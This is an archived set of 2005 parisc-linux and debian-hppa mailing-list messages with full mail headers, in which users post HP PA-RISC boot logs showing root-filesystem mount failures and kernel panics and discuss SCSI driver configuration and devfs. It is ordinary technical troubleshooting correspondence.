2. SkyHawk 100/120 FW-SCSI at 0xf3f8c000 [8/12] { 4, 0x0, 0x01f, 0x00089 }
3. Raven T' Core BA at 0xffd00000 [8/16] { 11, 0x0, 0x032, 0x00081 },  addition
4. Raven T' Core Centronics at 0xffd02000 [8/16/0] { 10, 0x0, 0x032, 0x00074 },
5. Raven T' Audio at 0xffd04000 [8/16/1] { 10, 0x0, 0x032, 0x0007b }
6. Raven T' Lasi Core RS-232 at 0xffd05000 [8/16/4] { 10, 0x0, 0x032, 0x0008c }
7. Raven T' Core SCSI at 0xffd06000 [8/16/5] { 10, 0x0, 0x032, 0x00082 }
8. Raven T' Core LAN (802.3) at 0xffd07000 [8/16/6] { 10, 0x0, 0x032, 0x0008a }
9. Raven T' Core PS/2 Port at 0xffd08000 [8/16/7] { 10, 0x0, 0x032, 0x00084 }
10. Raven T' Core PS/2 Port at 0xffd08100 [8/16/8] { 10, 0x0, 0x032, 0x00084 }
11. Raven T' Core PC Floppy at 0xffd0a000 [8/16/10] { 10, 0x0, 0x032, 0x00083 }
12. Raven T' Wax BA at 0xffe00000 [8/20] { 11, 0x0, 0x01e, 0x0008e },  addition
13. Raven T' Wax HIL at 0xffe01000 [8/20/1] { 10, 0x0, 0x01e, 0x00073 }
14. Raven T' Wax RS-232 at 0xffe02000 [8/20/2] { 10, 0x0, 0x01e, 0x0008c }
15. Raven T' Wax EISA BA at 0xfc000000 [8/20/5] { 11, 0x0, 0x01e, 0x00090 },  a
16. U2-IOA BC GSC+ Port at 0xf3fbf000 [8/63] { 7, 0x1, 0x501, 0x0000c },  addit
17. U2-IOA BC Runway Port at 0xfff8a000 [10] { 12, 0x7, 0x580, 0x0000b }
18. Raven T' GSC Core Graphics at 0xf4000000 [10/16] { 10, 0x0, 0x032, 0x00085
19. U2-IOA BC GSC+ Port at 0xf3fff000 [10/63] { 7, 0x1, 0x501, 0x0000c }
20. Raven 120 T' at 0xfffa0000 [32] { 0, 0x0, 0x58e, 0x00004 }
21. Memory at 0xfffb1000 [49] { 1, 0x0, 0x049, 0x00009 }
CPU(s): 1 x PA7200 (PCX-T') at 120.000000 MHz
Found U2 at 0xfff88000
Found U2 at 0xfff8a000
Lasi version 0 at 0xffd00000 found.
Wax at 0xffe00000 found.
Wax EISA Adapter found at 0xfc000000
EISA EEPROM: cannot register misc device.
Enumerating EISA bus
EISA: Probing bus 0 at parisc8:20:5
EISA: Mainboard HWPC0E1 detected.
EISA: Detected 0 cards.
SCSI subsystem initialized
TC classifier action (bugs to netdev@oss.sgi.com cc hadi@cyberus.ca)
STI GSC/PCI core graphics driver Version 0.9a
     id 2b4ded6d-40a00499, conforms to spec rev. 8.04
     graphics card name: HPA208LC1024
fb0: stifb 1024x768-8 frame buffer device, HPA208LC1024, id: 2b4ded6d, mmio: 0x0unwind_init: start = 0x10325720, end = 0x103468b0, 
entries = 8473
VFS: Disk quotas dquot_6.5.1
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
devfs: 2004-01-31 Richard Gooch (rgooch@atnf.csiro.au)
devfs: boot_options: 0x0
Initializing Cryptographic API
Soft power switch enabled, polling @ 0xf0140000.
Console: switching to colour frame buffer device 128x48
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 25 ports, IRQ sharing enabled
ttyS0 at MMIO 0xffd05800 (irq = 90) is a 16550A
ttyS1 at MMIO 0xffe02800 (irq = 121) is a 16550A
RAMDISK driver initialized: 16 RAM disks of 8192K size 1024 blocksize
mice: PS/2 mouse device common for all mice
serio: GSC PS2 keyboard port at 0xffd08000 irq 69 @ parisc8:16:7
serio: GSC PS2 mouse port at 0xffd08100 irq 69 @ parisc8:16:8
HP SDC: HP SDC at 0xffe01000, IRQ 126 (NMI IRQ 125)
HP SDC: New style SDC
HP SDC: Revision: 1820-4784
HP SDC: TI SN76494 beeper present
HP SDC: OKI MSM-58321 BBRTC present
HP SDC: Spunking the self test register to force PUP on next firmware reset.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
NET: Registered protocol family 2
IP: routing cache hash table of 4096 buckets, 32Kbytes
TCP: Hash tables configured (established 131072 bind 65536)
RAMDISK: cramfs filesystem found at block 0
RAMDISK: Loading 4604 blocks [1 disk] into ram disk... <4>HP SDC: Transaction a?HP SDC: Transaction add failed: transaction already 
queued?
HP SDC: read timeout (791509us)!
done.
VFS: Mounted root (cramfs filesystem) readonly.
Freeing unused kernel memory: 316k freed
initrd-tools: 0.1.77
NET: Registered protocol family 1
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: raid1 personality registered as nr 3
md: md1 stopped.
mdadm: cannot open device /dev/scsi/sdh0-f3f8c800c0i5l0p2: No such device or adsmdadm: /dev/scsi/sdh0-f3f8c800c0i5l0p2 has wrong uuid.
mdadm: cannot open device /dev/smd: md2 stopped.
csi/sdh0-f3f8c800c0i6l0p2: No such device or address
mdadm: /dev/scsi/sdh0-f3f8c800c0i6l0p2 has wrong uuid.
mdadm: no devices found for /devfs/md/1
mdadm: cannot open device /dev/scsi/sdh0-f3f8c800c0i5l0p5: No such device or adsmdadm: /dev/scsi/sdh0-f3f8c800c0i5l0p5 has wrong uuid.
mdadm: cannot open device /dev/scsi/sdh0-f3f8c800c0i6l0p5: No such device or adsmdadm: /dev/scsi/sdh0-f3f8c800c0i6l0p5 has wrong uuid.
mdadm: no devices found for /devfs/md/2
EXT3-fs: unable to read superblock
EXT2-fs: unable to read superblock
isofs_fill_super: bread failed, dev=md2, iso_blknum=16, block=32
pivot_root: No sKernel panic: Attempted to kill init!
uch file or dire ctory
/sbin/ini<0>Rebooting in 120 seconds..t: 431: cannot open dev/console: No such e

And not better if I try the kernel:
3/vmlinux root=/dev/md2 HOME=/ panic=120 profile=2 console=ttyS0 TERM=vt102
  0: 3/vmlinux
  1: root=/dev/md2
  2: HOME=/
  3: panic=120
  4: profile=2
  5: console=ttyS0
  6: TERM=vt102

<#>    edit the numbered field
'b'    boot with this command line
'r'    restore command line
'l'    list dir
? b

Command line for kernel: 'root=/dev/md2 HOME=/ panic=120 profile=2 console=ttyS'Selected kernel: /vmlinux from partition 3
ELF32 executable
Entry 00100000 first 00100000 n 2
Segment 0 load 00100000 size 2242736 mediaptr 0x1000
Segment 1 load 00324000 size 1056902 mediaptr 0x225000
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.8-2-32 (kyle@caradhras) (gcc version 3.3.5 (Debian 1:3.3.5-125FP[0] enabled: Rev 1 Model 11
The 32-bit Kernel has started...
Determining PDC firmware type: System Map.
model 000058e0 00000481 00000000 00000002 77e47570 100000f1 00000004 0000008a 0avers  0000000d
CPUID vers 11 rev 13 (0x0000016d)
model 9000/777/C110
Total Memory: 512 Mb
LED display at f0190001 registered
Built 1 zonelists
Kernel command line: root=/dev/md2 HOME=/ panic=120 profile=2 console=ttyS0 TERxkernel profiling enabled
PID hash table entries: 16 (order 4: 128 bytes)
Console: colour dummy device 160x64
Dentry cache hash table entries: 131072 (order: 7, 524288 bytes)
Inode-cache hash table entries: 65536 (order: 6, 262144 bytes)
Memory: 524288k available
Calibrating delay loop... 119.60 BogoMIPS
Security Scaffold v1.0.0 initialized
Capability LSM initialized
Mount-cache hash table entries: 512 (order: 0, 4096 bytes)
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port at 0xfff88000 [8] { 12, 0x7, 0x580, 0x0000b }
2. SkyHawk 100/120 FW-SCSI at 0xf3f8c000 [8/12] { 4, 0x0, 0x01f, 0x00089 }
3. Raven T' Core BA at 0xffd00000 [8/16] { 11, 0x0, 0x032, 0x00081 },  addition
4. Raven T' Core Centronics at 0xffd02000 [8/16/0] { 10, 0x0, 0x032, 0x00074 },
5. Raven T' Audio at 0xffd04000 [8/16/1] { 10, 0x0, 0x032, 0x0007b }
6. Raven T' Lasi Core RS-232 at 0xffd05000 [8/16/4] { 10, 0x0, 0x032, 0x0008c }
7. Raven T' Core SCSI at 0xffd06000 [8/16/5] { 10, 0x0, 0x032, 0x00082 }
8. Raven T' Core LAN (802.3) at 0xffd07000 [8/16/6] { 10, 0x0, 0x032, 0x0008a }
9. Raven T' Core PS/2 Port at 0xffd08000 [8/16/7] { 10, 0x0, 0x032, 0x00084 }
10. Raven T' Core PS/2 Port at 0xffd08100 [8/16/8] { 10, 0x0, 0x032, 0x00084 }
11. Raven T' Core PC Floppy at 0xffd0a000 [8/16/10] { 10, 0x0, 0x032, 0x00083 }
12. Raven T' Wax BA at 0xffe00000 [8/20] { 11, 0x0, 0x01e, 0x0008e },  addition
13. Raven T' Wax HIL at 0xffe01000 [8/20/1] { 10, 0x0, 0x01e, 0x00073 }
14. Raven T' Wax RS-232 at 0xffe02000 [8/20/2] { 10, 0x0, 0x01e, 0x0008c }
15. Raven T' Wax EISA BA at 0xfc000000 [8/20/5] { 11, 0x0, 0x01e, 0x00090 },  a
16. U2-IOA BC GSC+ Port at 0xf3fbf000 [8/63] { 7, 0x1, 0x501, 0x0000c },  addit
17. U2-IOA BC Runway Port at 0xfff8a000 [10] { 12, 0x7, 0x580, 0x0000b }
18. Raven T' GSC Core Graphics at 0xf4000000 [10/16] { 10, 0x0, 0x032, 0x00085
19. U2-IOA BC GSC+ Port at 0xf3fff000 [10/63] { 7, 0x1, 0x501, 0x0000c }
20. Raven 120 T' at 0xfffa0000 [32] { 0, 0x0, 0x58e, 0x00004 }
21. Memory at 0xfffb1000 [49] { 1, 0x0, 0x049, 0x00009 }
CPU(s): 1 x PA7200 (PCX-T') at 120.000000 MHz
Found U2 at 0xfff88000
Found U2 at 0xfff8a000
Lasi version 0 at 0xffd00000 found.
Wax at 0xffe00000 found.
Wax EISA Adapter found at 0xfc000000
EISA EEPROM: cannot register misc device.
Enumerating EISA bus
EISA: Probing bus 0 at parisc8:20:5
EISA: Mainboard HWPC0E1 detected.
EISA: Detected 0 cards.
SCSI subsystem initialized
TC classifier action (bugs to netdev@oss.sgi.com cc hadi@cyberus.ca)
STI GSC/PCI core graphics driver Version 0.9a
     id 2b4ded6d-40a00499, conforms to spec rev. 8.04
     graphics card name: HPA208LC1024
fb0: stifb 1024x768-8 frame buffer device, HPA208LC1024, id: 2b4ded6d, mmio: 0x0unwind_init: start = 0x10325720, end = 0x103468b0, 
entries = 8473
VFS: Disk quotas dquot_6.5.1
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
devfs: 2004-01-31 Richard Gooch (rgooch@atnf.csiro.au)
devfs: boot_options: 0x0
Initializing Cryptographic API
Soft power switch enabled, polling @ 0xf0140000.
Console: switching to colour frame buffer device 128x48
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 25 ports, IRQ sharing enabled
ttyS0 at MMIO 0xffd05800 (irq = 90) is a 16550A
ttyS1 at MMIO 0xffe02800 (irq = 121) is a 16550A
RAMDISK driver initialized: 16 RAM disks of 8192K size 1024 blocksize
mice: PS/2 mouse device common for all mice
serio: GSC PS2 keyboard port at 0xffd08000 irq 69 @ parisc8:16:7
serio: GSC PS2 mouse port at 0xffd08100 irq 69 @ parisc8:16:8
HP SDC: HP SDC at 0xffe01000, IRQ 126 (NMI IRQ 125)
HP SDC: New style SDC
HP SDC: Revision: 1820-4784
HP SDC: TI SN76494 beeper present
HP SDC: OKI MSM-58321 BBRTC present
HP SDC: Spunking the self test register to force PUP on next firmware reset.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
NET: Registered protocol family 2
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
...
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
IP: routing cache hash table of 4096 buckets, 32Kbytes
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: Transaction add failed: transaction already queued?
HP SDC: read timeout (791519us)!
TCP: Hash tables configured (established 131072 bind 65536)
Root-NFS: No NFS server available, giving up.
VFS: Unable to mount root fs via NFS, trying floppy.
VFS: Cannot open root device "md2" or unknown-block(2,0)
Please append a correct "root=" boot option
Kernel panic: VFS: Unable to mount root fs on unknown-block(2,0)

fwiw i never read disk init as in my custom kernel does:
...
eth0: 82596 at 0xffd07000, 00 60 B0 07 1E EA IRQ 18.
zalon_probe: Zalon version 1, IRQ 66
ncr53c720-0: rev 0xf irq 66
ncr53c720-0: ID 7, Fast-10, Parity Checking, Differential
scsi0 : ncr53c8xx-3.4.3g
  target0:0:5: target did not report SYNC.
   Vendor: SEAGATE   Model: ST34371W          Rev: HP03
   Type:   Direct-Access                      ANSI SCSI revision: 02
  target0:0:5: Beginning Domain Validation
  target0:0:5: asynchronous.
  target0:0:5: wide asynchronous.
  target0:0:5: Domain Validation skipping write tests
  target0:0:5: FAST-10 WIDE SCSI 20.0 MB/s ST (100 ns, offset 8)
  target0:0:5: Ending Domain Validation
  target0:0:6: target did not report SYNC.
   Vendor: SEAGATE   Model: ST34371W          Rev: HP03
   Type:   Direct-Access                      ANSI SCSI revision: 02
  target0:0:6: Beginning Domain Validation
  target0:0:6: asynchronous.
  target0:0:6: wide asynchronous.
  target0:0:6: Domain Validation skipping write tests
  target0:0:6: FAST-10 WIDE SCSI 20.0 MB/s ST (100 ns, offset 8)
  target0:0:6: Ending Domain Validation
...

well my custom config is CONFIG_SCSI_ZALON=y while your CONFIG_SCSI_ZALON=m so should be loaded?

Any idea?

Thanks,
	Joel


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:33:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k-class
	smp_call_function	at	arch/parisc/kernel/smp.c:340
Date: Mon, 28 Mar 2005 15:03:11 +0000
Lines: 35
Approved: news@gmane.org
Message-ID: <42481CAF.5010905@tiscali.be>
References: <20050328122749.GB12853@ing.umu.se> <424800DB.6000709@tiscali.be>
	<20050328133837.GA14623@ing.umu.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623726 13580 80.91.229.3 (22 Nov 2014 02:35:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Anders <dizzey@ing.umu.se>
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Mar 2005 15:03:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 28 Mar 2005 17:03:22 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CA9147D6B4;
	Mon, 28 Mar 2005 08:04:54 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27568-05; Mon, 28 Mar 2005 08:04:54 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4962D7D6B6;
	Mon, 28 Mar 2005 08:04:54 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 074CC7D6B2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 08:04:50 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27057-10 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 08:04:49 -0700 (MST)
Original-Received: from spoolo3.tiscali.be (spoolo3.tiscali.be [62.235.13.169])
	by free.linux.hp.com (Postfix) with ESMTP id 7B87E7D6AE
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 08:04:49 -0700 (MST)
Original-Received: from [83.134.227.83] (helo=[83.134.227.83])
	by spoolo3.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DFvlo-0008Bk-1N; Mon, 28 Mar 2005 17:03:12 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.6) Gecko/20050324 Debian/1.7.6-1
X-Accept-Language: en
In-Reply-To: <20050328133837.GA14623@ing.umu.se>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 7Hk6YuQ2eSE5+76WZHQhaXN2IGRvb4Ch
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22530



Anders wrote:
> On Mon, Mar 28, 2005 at 01:04:27PM +0000, Joel Soete wrote:
> 
>>
...
> 
> Well yes the system hung after those messages the FLT parts are from the 
> firmware during the reboot, so i only included them to show it was 
> rebooting.  i will be back with a test from a up kernel soon.

mmm another question: are you using a initrd.img?
fwiw I encounter the same message as you reported:
...
SCSI subsystem initialized
unwind_init: start = 0x103bad60, end = 0x103ddd50, entries = 8959
devfs: 2004-01-31 Richard Gooch (rgooch@atnf.csiro.au)
devfs: boot_options: 0x1
...
while testing latest kyle debian-kernel? (tbh, I don't remember to have encountered it before?)

Can you check if in your kernel config CONFIG_SCSI_ZALON=y
and btw remove devfs support?

Thanks,
	Joel

PS: iirc Willy also boot a k model may be ask him his config file (I don't remember if he custumized or used the default one?)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anders <dizzey@ing.umu.se>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k-class smp_call_function
	at	arch/parisc/kernel/smp.c:340
Date: Mon, 28 Mar 2005 17:16:01 +0200
Lines: 53
Approved: news@gmane.org
Message-ID: <20050328151601.GA16179@ing.umu.se>
References: <20050328122749.GB12853@ing.umu.se> <424800DB.6000709@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623727 13582 80.91.229.3 (22 Nov 2014 02:35:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Mar 2005 15:16:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 28 Mar 2005 17:16:11 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 985417D6C0;
	Mon, 28 Mar 2005 08:17:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27587-10; Mon, 28 Mar 2005 08:17:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 731AF7D6B8;
	Mon, 28 Mar 2005 08:17:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 075237D6B5
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 08:17:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27587-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 08:17:24 -0700 (MST)
Original-Received: from tyra.ing.umu.se (tyra.ing.umu.se [130.239.117.83])
	by free.linux.hp.com (Postfix) with ESMTP id 74BCF7D6B4
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 08:17:24 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by tyra.ing.umu.se (Postfix) with ESMTP id EFAAF1E29B0
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 17:16:11 +0200 (CEST)
Original-Received: from tyra.ing.umu.se ([127.0.0.1])
	by localhost (tyra.ing.umu.se [127.0.0.1]) (amavisd-new, port 10024)
	with LMTP id 16073-03 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 17:16:02 +0200 (CEST)
Original-Received: by tyra.ing.umu.se (Postfix, from userid 1000)
	id F1E121E96C1; Mon, 28 Mar 2005 17:16:01 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <424800DB.6000709@tiscali.be>
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new at ing.umu.se
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 63o6Ygg8eSE5+76WZHQhaXN2IGRvbwCh
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22531

On Mon, Mar 28, 2005 at 01:04:27PM +0000, Joel Soete wrote:
> 
> 
> Anders wrote:
> >well i got help with the ccio-dma problem.
> >but now i get smp badness.
> >
> mostly harmless (see among other reports: 
> <http://lists.parisc-linux.org/pipermail/parisc-linux/2004-August/024291.html>
> 
> >kernel 2.6.12-rc1-pa4 with a little ccio fix 
> Cool
> 
> >gcc version 3.3.5
> >
> >bootlog can be found at 
> >www.ing.umu.se/~dizzey/k460_bootlog
> >
> Do I well understand: the system hung after last messages:
> ...
> FLT  5208
> 
> 
> 
> FLT"
> 
> ?
> 
> (sorry never seen this before?)
> 
> btw could you have a try with a up kernel?
> 
> Thanks,
> 	Joel
> 

yes you where correct it isnt a smp problem.
new bootlog at
www.ing.umu.se/~dizzey/k460up-bootlog
nothing new there really.

i will also post my .config
www.ing.umu.se/~dizzey/config

o yeah if anyone suggest a patch to try, please tell me if i should use 
-p0 or -p1 i never quite manged to understand the diffrence, if its only 
i few line i dont care becus then i can edit by hand.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anders <dizzey@ing.umu.se>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k-class
	smp_call_function	at	arch/parisc/kernel/smp.c:340
Date: Mon, 28 Mar 2005 17:20:35 +0200
Lines: 42
Approved: news@gmane.org
Message-ID: <20050328152035.GB16179@ing.umu.se>
References: <20050328122749.GB12853@ing.umu.se> <424800DB.6000709@tiscali.be>
	<20050328133837.GA14623@ing.umu.se> <42481CAF.5010905@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623727 13584 80.91.229.3 (22 Nov 2014 02:35:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:35:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:18 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 28 Mar 2005 15:20:29 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx040) with SMTP; 28 Mar 2005 17:20:29 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E9F8E7D6BD;
	Mon, 28 Mar 2005 08:22:02 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27852-08; Mon, 28 Mar 2005 08:22:02 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E7FF57D6BF;
	Mon, 28 Mar 2005 08:22:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9837A7D6B8
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 08:21:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27928-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 08:21:58 -0700 (MST)
Original-Received: from tyra.ing.umu.se (tyra.ing.umu.se [130.239.117.83])
	by free.linux.hp.com (Postfix) with ESMTP id 13B5C7D6B7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 08:21:58 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by tyra.ing.umu.se (Postfix) with ESMTP id B9C511E29A6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 17:20:45 +0200 (CEST)
Original-Received: from tyra.ing.umu.se ([127.0.0.1])
	by localhost (tyra.ing.umu.se [127.0.0.1]) (amavisd-new, port 10024)
	with LMTP id 16196-03-2 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Mar 2005 17:20:36 +0200 (CEST)
Original-Received: by tyra.ing.umu.se (Postfix, from userid 1000)
	id 0141A3CC70; Mon, 28 Mar 2005 17:20:35 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <42481CAF.5010905@tiscali.be>
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new at ing.umu.se
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
